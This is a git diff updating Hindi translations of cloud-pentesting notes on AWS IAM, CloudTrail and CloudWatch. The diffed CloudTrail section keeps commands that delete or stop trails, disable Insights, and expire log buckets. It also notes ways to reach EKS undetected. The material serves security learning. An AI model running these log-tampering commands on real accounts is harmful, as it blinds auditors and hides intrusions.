-एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को अपनाया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वे होती हैं जो भूमिका के पास होती हैं)।
+एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को किसी तरह से ग्रहण किया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वे होती हैं जो भूमिका के पास होती हैं)।
-यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका को अपनाने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है।
+यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका ग्रहण करने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है।
```bash
aws sts assume-role \
--role-arn \
@@ -233,7 +233,7 @@ aws sts assume-role \
पहचान संघ **AWS के लिए बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को सुरक्षित रूप से AWS संसाधनों तक पहुँचने की अनुमति देता है** बिना AWS उपयोगकर्ता क्रेडेंशियल्स को एक मान्य IAM उपयोगकर्ता खाते से प्रदान किए।\
एक पहचान प्रदाता का उदाहरण आपके अपने कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी।
-इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से कोई उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा।
+इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से एक उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा।
हालांकि, आप आमतौर पर **उपयोगकर्ता के समूह के आधार पर एक अलग भूमिका देना चाहेंगे** तीसरे पक्ष के प्लेटफ़ॉर्म में। फिर, कई **IAM भूमिकाएँ तीसरे पक्ष के पहचान प्रदाता पर विश्वास कर सकती हैं** और तीसरा पक्ष का प्लेटफ़ॉर्म उपयोगकर्ताओं को एक भूमिका या दूसरी भूमिका को मानने की अनुमति देगा।
@@ -253,19 +253,19 @@ AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑ
-पहचान केंद्र निर्देशिका के सबसे सरल मामले में, **पहचान केंद्र के पास उपयोगकर्ताओं और समूहों की एक सूची होगी** और वह उन्हें संगठन के **किसी भी खाते** के लिए **नीतियाँ सौंपने में सक्षम होगा**।
+पहचान केंद्र निर्देशिका के सबसे सरल मामले में, **पहचान केंद्र के पास उपयोगकर्ताओं और समूहों की एक सूची होगी** और वह उन्हें **किसी भी खाते** के लिए **नीतियाँ सौंपने में सक्षम होगा**।
एक पहचान केंद्र उपयोगकर्ता/समूह को एक खाते तक पहुँच देने के लिए एक **SAML पहचान प्रदाता जो पहचान केंद्र पर विश्वास करता है, बनाया जाएगा**, और एक **भूमिका जो निर्दिष्ट नीतियों के साथ पहचान प्रदाता पर विश्वास करती है, गंतव्य खाते में बनाई जाएगी**।
#### AwsSSOInlinePolicy
-यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमतियाँ दी जाएं**। उन खातों में बनाई गई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इन अनुमतियों को **`AwsSSOInlinePolicy`** नामक एक इनलाइन नीति में रखेंगे।
+यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमतियाँ दी जाएँ**। उन खातों में बनाई गई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इनलाइन नीति में **`AwsSSOInlinePolicy`** के रूप में ये अनुमतियाँ होंगी।
-इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक एक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **मतलब नहीं है कि इसकी समान अनुमतियाँ हैं**।
+इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **मतलब नहीं है कि इसकी समान अनुमतियाँ हैं**।
### क्रॉस खाता विश्वास और भूमिकाएँ
-**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके हैं और एक तीसरे पक्ष के AWS खाते के बीच।\
+**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके पास हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके पास है और एक तीसरे पक्ष के AWS खाते के बीच।\
यह अनुशंसा की जाती है कि **विश्वासित उपयोगकर्ता को निर्दिष्ट करें और कुछ सामान्य चीज़ें न डालें** क्योंकि यदि नहीं, तो अन्य प्रमाणित उपयोगकर्ता जैसे संघीय उपयोगकर्ता भी इस विश्वास का दुरुपयोग कर सकेंगे।
### AWS सरल AD
@@ -282,21 +282,23 @@ AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑ
#### वेब संघ या OpenID प्रमाणीकरण
-ऐप अस्थायी क्रेडेंशियल बनाने के लिए AssumeRoleWithWebIdentity का उपयोग करता है। हालाँकि, यह AWS कंसोल तक पहुँच प्रदान नहीं करता है, केवल AWS के भीतर संसाधनों तक पहुँच प्रदान करता है।
+ऐप अस्थायी क्रेडेंशियल्स बनाने के लिए AssumeRoleWithWebIdentity का उपयोग करता है। हालाँकि, यह AWS कंसोल तक पहुँच नहीं देता, केवल AWS के भीतर संसाधनों तक पहुँच देता है।
### अन्य IAM विकल्प
-- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को **सेट कर सकते हैं**।
+- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को सेट कर सकते हैं।
- आप **"क्रेडेंशियल रिपोर्ट" डाउनलोड कर सकते हैं** जिसमें वर्तमान क्रेडेंशियल्स के बारे में जानकारी होती है (जैसे उपयोगकर्ता निर्माण समय, क्या पासवर्ड सक्षम है...)। आप एक क्रेडेंशियल रिपोर्ट हर **चार घंटे** में एक बार उत्पन्न कर सकते हैं।
-AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ सुनिश्चित की जा सकें**।
+AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ** सुनिश्चित की जा सकें।
### IAM ID उपसर्ग
-[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के उपसर्गों को उनकी प्रकृति के आधार पर पा सकते हैं:
+[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के उपसर्गों को उनकी प्रकृति के अनुसार पा सकते हैं:
-| ABIA | [AWS STS सेवा धारक टोकन](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| पहचानकर्ता कोड | विवरण |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| ABIA | [AWS STS सेवा धारक टोकन](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+
| ACCA | संदर्भ-विशिष्ट क्रेडेंशियल |
| AGPA | उपयोगकर्ता समूह |
| AIDA | IAM उपयोगकर्ता |
@@ -311,7 +313,7 @@ AWS पहचान और पहुँच प्रबंधन (IAM) **AWS क
### खातों का ऑडिट करने के लिए अनुशंसित अनुमतियाँ
-निम्नलिखित विशेषाधिकार विभिन्न मेटाडेटा के पढ़ने की पहुँच प्रदान करते हैं:
+निम्नलिखित विशेषाधिकार विभिन्न मेटाडेटा की पढ़ने की पहुँच प्रदान करते हैं:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index 896e87e15..adaca17c4 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -19,12 +19,12 @@ AWS CloudTrail **आपके AWS वातावरण के भीतर ग
- अनुरोध पैरामीटर: `requestParameters`
- प्रतिक्रिया तत्व: `responseElements`
-घटनाएँ **लगभग हर 5 मिनट में एक JSON फ़ाइल में एक नए लॉग फ़ाइल में लिखी जाती हैं**, इन्हें CloudTrail द्वारा रखा जाता है और अंततः, लॉग फ़ाइलें **लगभग 15 मिनट बाद S3 में भेजी जाती हैं।**\
+घटनाएँ **लगभग हर 5 मिनट में एक JSON फ़ाइल में एक नए लॉग फ़ाइल में लिखी जाती हैं**, इन्हें CloudTrail द्वारा रखा जाता है और अंततः, लॉग फ़ाइलें **लगभग 15 मिनट बाद S3 में वितरित की जाती हैं।**\
CloudTrail के लॉग को **खातों और क्षेत्रों के बीच समेकित किया जा सकता है।**\
-CloudTrail **लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि आप यह सत्यापित कर सकें कि आपकी लॉग फ़ाइलें CloudTrail द्वारा आपको भेजे जाने के बाद अपरिवर्तित रही हैं।** यह लॉग के अंदर एक डाइजेस्ट फ़ाइल में SHA-256 हैश बनाता है। नए लॉग का sha-256 हैश हर घंटे बनाया जाता है।\
+CloudTrail **लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि आप यह सत्यापित कर सकें कि आपकी लॉग फ़ाइलें तब से अपरिवर्तित रही हैं जब से CloudTrail ने उन्हें आपको वितरित किया।** यह लॉग के अंदर एक डाइजेस्ट फ़ाइल में SHA-256 हैश बनाता है। नए लॉग का sha-256 हैश हर घंटे बनाया जाता है।\
जब एक ट्रेल बनाया जाता है, तो इवेंट चयनकर्ता आपको लॉग करने के लिए ट्रेल को इंगित करने की अनुमति देंगे: प्रबंधन, डेटा या अंतर्दृष्टि घटनाएँ।
-लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) इसलिए AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं।
+लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) ताकि AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं।
लॉग एक **S3 बकेट में इस नाम प्रारूप के साथ संग्रहीत होते हैं**:
@@ -44,14 +44,14 @@ CloudTrail **लॉग फ़ाइल की अखंडता का उप
### कई खातों से लॉग समेकित करना
-- उस AWS खाते में एक ट्रेल बनाएं जहाँ आप लॉग फ़ाइलें भेजी जाना चाहते हैं
+- उस AWS खाते में एक ट्रेल बनाएं जहाँ आप लॉग फ़ाइलें वितरित करना चाहते हैं
- गंतव्य S3 बकेट पर अनुमतियाँ लागू करें जो CloudTrail के लिए क्रॉस-खाता एक्सेस की अनुमति देती हैं और प्रत्येक AWS खाते को अनुमति दें जिसे एक्सेस की आवश्यकता है
- अन्य AWS खातों में एक नया ट्रेल बनाएं और चरण 1 में बनाए गए बकेट का उपयोग करने का चयन करें
हालांकि, भले ही आप सभी लॉग को एक ही S3 बकेट में सहेज सकते हैं, आप एक ही AWS खाते से संबंधित CloudWatch लॉग में कई खातों से CloudTrail लॉग को समेकित नहीं कर सकते।
> [!CAUTION]
-> याद रखें कि एक खाते में **विभिन्न ट्रेल्स** हो सकते हैं जो CloudTrail **सक्षम** हैं और विभिन्न बकेट में समान (या विभिन्न) लॉग को स्टोर कर सकते हैं।
+> याद रखें कि एक खाते में **विभिन्न ट्रेल्स** हो सकते हैं जो CloudTrail **सक्षम** हैं, जो विभिन्न बकेट में समान (या विभिन्न) लॉग को संग्रहीत करते हैं।
### सभी संगठन खातों से 1 में CloudTrail
@@ -59,21 +59,21 @@ CloudTrail **लॉग फ़ाइल की अखंडता का उप
-इस तरह आप सभी खातों के सभी क्षेत्रों में CloudTrail को आसानी से कॉन्फ़िगर कर सकते हैं और लॉग को 1 खाते में केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित करना चाहिए)।
+इस तरह आप सभी खातों के सभी क्षेत्रों में CloudTrail को आसानी से कॉन्फ़िगर कर सकते हैं और 1 खाते में लॉग को केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित करना चाहिए)।
### लॉग फ़ाइलों की जांच
-आप यह जांच सकते हैं कि लॉग में कोई परिवर्तन नहीं हुआ है।
+आप यह जांच सकते हैं कि लॉग में परिवर्तन नहीं किया गया है।
```javascript
aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose]
```
### Logs to CloudWatch
**CloudTrail स्वचालित रूप से लॉग को CloudWatch में भेज सकता है ताकि आप संदिग्ध गतिविधियों के प्रदर्शन पर चेतावनी देने वाले अलर्ट सेट कर सकें।**\
-ध्यान दें कि CloudTrail को CloudWatch में लॉग भेजने की अनुमति देने के लिए एक **भूमिका** बनाई जानी चाहिए जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS डिफ़ॉल्ट भूमिका का उपयोग करने की सिफारिश की जाती है। यह भूमिका CloudTrail को अनुमति देगी:
+ध्यान दें कि CloudTrail को CloudWatch में लॉग भेजने की अनुमति देने के लिए एक **भूमिका** बनाई जानी चाहिए जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS की डिफ़ॉल्ट भूमिका का उपयोग करने की सिफारिश की जाती है। यह भूमिका CloudTrail को अनुमति देगी:
- CreateLogStream: यह CloudWatch Logs लॉग स्ट्रीम बनाने की अनुमति देता है
-- PutLogEvents: CloudTrail लॉग को CloudWatch Logs लॉग स्ट्रीम में वितरित करें
+- PutLogEvents: CloudTrail लॉग को CloudWatch Logs लॉग स्ट्रीम में भेजता है
### Event History
@@ -83,20 +83,20 @@ CloudTrail Event History आपको एक तालिका में रि
### Insights
-**CloudTrail Insights** स्वचालित रूप से **लिखित प्रबंधन घटनाओं का विश्लेषण** करता है जो CloudTrail ट्रेल्स से आती हैं और आपको **असामान्य गतिविधि** के बारे में **चेतावनी** देता है। उदाहरण के लिए, यदि `TerminateInstance` घटनाओं में वृद्धि होती है जो स्थापित बुनियादी रेखाओं से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ **असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं**।
+**CloudTrail Insights** स्वचालित रूप से **लिखित प्रबंधन घटनाओं का विश्लेषण** करता है जो CloudTrail ट्रेल से आती हैं और आपको **असामान्य गतिविधि** के बारे में **चेतावनी** देता है। उदाहरण के लिए, यदि `TerminateInstance` घटनाओं में वृद्धि होती है जो स्थापित बुनियादी रेखाओं से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ **असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं**।
Insights उसी बकेट में CloudTrail लॉग के साथ संग्रहीत होते हैं: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Security
-
-| CloudTrail Log File Integrity |
जांचें कि क्या लॉग में छेड़छाड़ की गई है (संशोधित या हटाए गए)
डाइजेस्ट फ़ाइलों का उपयोग करता है (प्रत्येक फ़ाइल के लिए हैश बनाएं)
SHA-256 हैशिंग
डिजिटल हस्ताक्षर के लिए SHA-256 के साथ RSA
प्राइवेट की अमेज़न के पास है
डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे के शुरू में किया जाता है)
|
+| Control Name | Implementation Details |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| CloudTrail Log File Integrity |
जांचें कि क्या लॉग में छेड़छाड़ की गई है (संशोधित या हटाए गए)
डाइजेस्ट फ़ाइलों का उपयोग करता है (प्रत्येक फ़ाइल के लिए हैश बनाएं)
SHA-256 हैशिंग
डिजिटल हस्ताक्षर के लिए SHA-256 के साथ RSA
प्राइवेट की अमेज़न के पास है
डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे के शुरू में किया जाता है)
|
| Stop unauthorized access |
IAM नीतियों और S3 बकेट नीतियों का उपयोग करें
सुरक्षा टीम —> व्यवस्थापक पहुंच
ऑडिटर्स —> केवल पढ़ने की पहुंच
लॉग को एन्क्रिप्ट करने के लिए SSE-S3/SSE-KMS का उपयोग करें
|
-| Prevent log files from being deleted |
IAM और बकेट नीतियों के साथ हटाने की पहुंच को प्रतिबंधित करें
S3 MFA हटाने के लिए कॉन्फ़िगर करें
लॉग फ़ाइल सत्यापन के साथ मान्य करें
|
+| Prevent log files from being deleted |
IAM और बकेट नीतियों के साथ हटाने की पहुंच को प्रतिबंधित करें
S3 MFA हटाने के लिए कॉन्फ़िगर करें
लॉग फ़ाइल सत्यापन के साथ सत्यापित करें
|
## Access Advisor
-AWS Access Advisor अंतिम 400 दिनों के AWS **CloudTrail लॉग पर निर्भर करता है ताकि इसके अंतर्दृष्टि एकत्र की जा सकें**। CloudTrail AWS API कॉल और संबंधित घटनाओं का एक इतिहास कैप्चर करता है जो AWS खाते में की गई हैं। Access Advisor इस डेटा का उपयोग **यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था**। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने कौन सी AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को **अनुमतियों को परिष्कृत करने** के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और संभावित रूप से वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को कम कर सकते हैं।
+AWS Access Advisor अंतिम 400 दिनों के AWS **CloudTrail लॉग पर निर्भर करता है ताकि इसके अंतर्दृष्टि एकत्र की जा सकें**। CloudTrail AWS खाते में किए गए AWS API कॉल और संबंधित घटनाओं का इतिहास कैप्चर करता है। Access Advisor इस डेटा का उपयोग **यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था**। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने किन AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को **अनुमतियों को परिष्कृत करने** के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को कम कर सकते हैं।
> [!TIP]
> इसलिए, Access Advisor **उपयोगकर्ताओं को दी गई अनावश्यक अनुमतियों** के बारे में सूचित करता है ताकि व्यवस्थापक उन्हें हटा सके
@@ -136,7 +136,7 @@ S3BucketName="random"
)
print(response)
```
-अधिक जानकारी के लिए CSV इनजेक्शन के बारे में पृष्ठ देखें:
+अधिक जानकारी के लिए CSV इनजेक्शंस के बारे में पृष्ठ देखें:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
@@ -204,11 +204,11 @@ Check more information in the [**orginal research**](https://medium.com/@TalBeer
### तीसरी अवसंरचना तक पहुँच
-कुछ AWS सेवाएँ **कुछ अवसंरचना** जैसे **डेटाबेस** या **कुबरनेट्स** क्लस्टर (EKS) उत्पन्न करेंगी। एक उपयोगकर्ता **सीधे उन सेवाओं से बात कर रहा है** (जैसे कुबरनेट्स API) **AWS API का उपयोग नहीं करेगा**, इसलिए CloudTrail इस संचार को नहीं देख पाएगा।
+कुछ AWS सेवाएँ **कुछ अवसंरचना उत्पन्न करेंगी** जैसे **डेटाबेस** या **कुबरनेट्स** क्लस्टर (EKS)। एक उपयोगकर्ता **सीधे उन सेवाओं से बात कर रहा है** (जैसे कुबरनेट्स API) **AWS API का उपयोग नहीं करेगा**, इसलिए CloudTrail इस संचार को नहीं देख पाएगा।
इसलिए, EKS तक पहुँच रखने वाला एक उपयोगकर्ता जिसने EKS API का URL खोज लिया है, वह स्थानीय रूप से एक टोकन उत्पन्न कर सकता है और **API सेवा से सीधे बात कर सकता है बिना Cloudtrail द्वारा पता लगाए**।
-अधिक जानकारी में:
+अधिक जानकारी के लिए:
{{#ref}}
../../aws-post-exploitation/aws-eks-post-exploitation.md
@@ -220,7 +220,7 @@ Check more information in the [**orginal research**](https://medium.com/@TalBeer
```bash
aws cloudtrail delete-trail --name [trail-name]
```
-#### स्टॉप ट्रेल्स
+#### ट्रेल्स रोकें
```bash
aws cloudtrail stop-logging --name [trail-name]
```
@@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors '
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region
```
-पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। `"ReadWriteType": "ReadOnly"` यह संकेत करता है कि **इवेंट चयनकर्ता को केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए** (इसलिए CloudTrail insights **लिखने के इवेंट की जांच नहीं करेगा** उदाहरण के लिए)।
+पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। `"ReadWriteType": "ReadOnly"` यह संकेत करता है कि **इवेंट चयनकर्ता को केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए** (इसलिए CloudTrail अंतर्दृष्टि **लिखने के इवेंट की जांच नहीं करेगी** उदाहरण के लिए)।
आप अपने विशिष्ट आवश्यकताओं के आधार पर इवेंट चयनकर्ता को अनुकूलित कर सकते हैं।
@@ -244,7 +244,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors '
```bash
aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region
```
-### बकेट कॉन्फ़िगरेशन को संशोधित करना
+### बकेट कॉन्फ़िगरेशन में संशोधन
- S3 बकेट को हटाएँ
- बकेट नीति को बदलें ताकि CloudTrail सेवा से किसी भी लेखन को अस्वीकार किया जा सके
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
index 3be0f9dfc..ac3ae64f2 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
@@ -6,7 +6,7 @@
**CloudWatch** **निगरानी** और संचालन **डेटा** को लॉग/मेट्रिक्स/इवेंट के रूप में एकत्र करता है, जो **AWS संसाधनों**, अनुप्रयोगों और सेवाओं का **एकीकृत दृश्य** प्रदान करता है।\
CloudWatch लॉग इवेंट में **प्रत्येक लॉग लाइन पर 256KB का आकार सीमा** होती है।\
-यह **उच्च संकल्प अलार्म** सेट कर सकता है, **लॉग** और **मेट्रिक्स** को एक साथ दृश्य बना सकता है, स्वचालित क्रियाएँ कर सकता है, समस्याओं का समाधान कर सकता है, और अनुप्रयोगों को अनुकूलित करने के लिए अंतर्दृष्टि खोज सकता है।
+यह **उच्च संकल्प अलार्म** सेट कर सकता है, **लॉग** और **मेट्रिक्स** को एक साथ दृश्य में दिखा सकता है, स्वचालित क्रियाएँ कर सकता है, समस्याओं का समाधान कर सकता है, और अनुप्रयोगों को अनुकूलित करने के लिए अंतर्दृष्टि खोज सकता है।
आप उदाहरण के लिए CloudTrail से लॉग की निगरानी कर सकते हैं। जिन घटनाओं की निगरानी की जाती है:
@@ -27,37 +27,37 @@ CloudWatch लॉग इवेंट में **प्रत्येक लॉ
### Metrics
-मेट्रिक्स समय के साथ एकत्रित डेटा बिंदु होते हैं जो AWS संसाधनों के प्रदर्शन या उपयोग को दर्शाते हैं। मेट्रिक्स को AWS सेवाओं, कस्टम अनुप्रयोगों, या तृतीय-पक्ष एकीकरण से एकत्रित किया जा सकता है।
+मेट्रिक्स समय के साथ एकत्रित डेटा बिंदु होते हैं जो AWS संसाधनों के प्रदर्शन या उपयोग को दर्शाते हैं। मेट्रिक्स को AWS सेवाओं, कस्टम अनुप्रयोगों, या तृतीय-पक्ष एकीकरणों से एकत्र किया जा सकता है।
- **उदाहरण**: CPUUtilization, NetworkIn, DiskReadOps।
### Dimensions
-Dimensions मेट्रिक्स का हिस्सा होते हैं जो कुंजी-मूल्य जोड़े होते हैं। वे एक मेट्रिक की अद्वितीय पहचान करने में मदद करते हैं और अतिरिक्त संदर्भ प्रदान करते हैं, जिसमें 30 सबसे अधिक संख्या होती है जो एक मेट्रिक के साथ जुड़ी हो सकती है। Dimensions विशिष्ट विशेषताओं के आधार पर मेट्रिक्स को फ़िल्टर और समेकित करने की अनुमति भी देते हैं।
+Dimensions कुंजी-मूल्य जोड़े होते हैं जो मेट्रिक्स का हिस्सा होते हैं। वे एक मेट्रिक की अद्वितीय पहचान करने में मदद करते हैं और अतिरिक्त संदर्भ प्रदान करते हैं, 30 सबसे अधिक संख्या के Dimensions होते हैं जो एक मेट्रिक के साथ जुड़े हो सकते हैं। Dimensions विशिष्ट विशेषताओं के आधार पर मेट्रिक्स को फ़िल्टर और समेकित करने की अनुमति भी देते हैं।
-- **उदाहरण**: EC2 इंस्टेंस के लिए, dimensions में InstanceId, InstanceType, और AvailabilityZone शामिल हो सकते हैं।
